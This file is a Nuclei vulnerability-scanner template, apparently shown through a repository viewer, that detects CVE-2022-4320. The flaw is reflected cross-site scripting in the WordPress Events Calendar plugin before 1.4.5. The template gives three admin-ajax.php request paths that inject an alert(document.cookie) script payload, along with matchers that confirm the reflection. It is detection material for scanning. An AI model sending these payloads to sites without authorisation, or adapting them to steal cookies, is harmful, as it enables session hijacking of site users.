nuclei-templates/http/cves/2022/CVE-2022-4320.yaml

58 lines
2.6 KiB
YAML
Raw Normal View History

2023-03-18 22:07:09 +00:00
id: CVE-2022-4320
info:
name: WordPress Events Calendar <1.4.5 - Cross-Site Scripting
2023-03-18 22:07:09 +00:00
author: r3Y3r53
severity: medium
description: |
WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
2023-09-06 11:59:08 +00:00
remediation: Fixed in version 1.4.5.
2023-03-18 22:07:09 +00:00
reference:
- https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c
- https://nvd.nist.gov/vuln/detail/CVE-2022-4320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4320
cwe-id: CWE-79
epss-score: 0.00083
epss-percentile: 0.34469
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:mhsoftware:wordpress_events_calendar_plugin:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: mhsoftware
product: wordpress_events_calendar_plugin
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: calendar,event,xss,wordpress,wp,wp-plugin,cve,cve2022,wpscan,mhsoftware
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'
stop-at-first-match: true
2023-07-11 19:49:27 +00:00
2023-03-18 22:07:09 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'imgNavLeftXX\"><script>alert(document.cookie)</script>'
- '<script>alert(document.cookie)</script>({});'
- '><script>alert(document.cookie)</script>.js'
condition: or
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502210095eac400fa383c08110105d22621aa69e43c2e0346bd6a0b885d9d9bc07b537302206201343ee80c65898c6dfe04ffe5787009a7f67d6d4c76d79a510cea64f143d1:922c64590222798bb761d5b6d8e72950